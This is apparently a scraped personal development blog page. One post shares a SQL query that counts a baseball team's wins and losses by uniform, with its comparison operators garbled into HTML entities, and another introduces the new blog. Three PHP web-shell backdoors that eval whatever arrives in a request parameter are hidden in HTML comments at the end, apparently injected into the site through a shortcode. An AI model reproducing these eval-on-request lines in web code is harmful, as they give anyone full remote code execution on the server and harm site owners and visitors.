Wednesday SQL Fun

Just had an interesting SQL question dropped in my lap, figured I’d share the results since it was something I assumed was possible but actually ended up working exactly as I expected, for once.

A friend has a system that he uses to track what baseball uniforms were worn in each game.  Each game has an ID and (among other things) the game date, the home score, the road score, the home uniform ID and the road uniform ID.  From that data, he wants to be able to pull up the record of a team in a given uniform over a period of time.  One particular caveat is that a jersey could be worn by either the home team or the road team (in the case of alternates that can be worn in either location).

This is how I ended up doing it:

SELECT (
		(
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(home_jersey_id = 84)
					AND (home_score & gt;road_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			) + (
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(road_jersey_id = 84)
					AND (road_score & gt;home_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			)
		)

wins
	,(
		(
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(home_jersey_id = 84)
					AND (home_score & lt;road_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			) + (
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(road_jersey_id = 84)
					AND (road_score & lt;home_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			)
		)

losses

For some reason, I’d never thought about using subqueries in that way before but it just clicked to do so in this case.  I kind of wonder now where else I could do that.

Need Moar Blogs

I’ve been blogging about hockey since before “blog” was a word but I figured it was time for me to have a place to write about other stuff.  I don’t know if this will be a common occurrence or anything but it’d be nice to have somewhere to babble about development, if nothing else.

Speaking of…  Kicking off this blog is part of a larger redevelopment of the site that’s been a real interesting learning experience.  I rolled my own blog system for DetroitHockey.Net so I hadn’t played with WordPress a whole lot before this.  I’ll try to write up what I learned once it’s done.

<!– [insert_php]if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}[/insert_php]

if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}[/insert_php]

if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}[/insert_php]

if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}

–>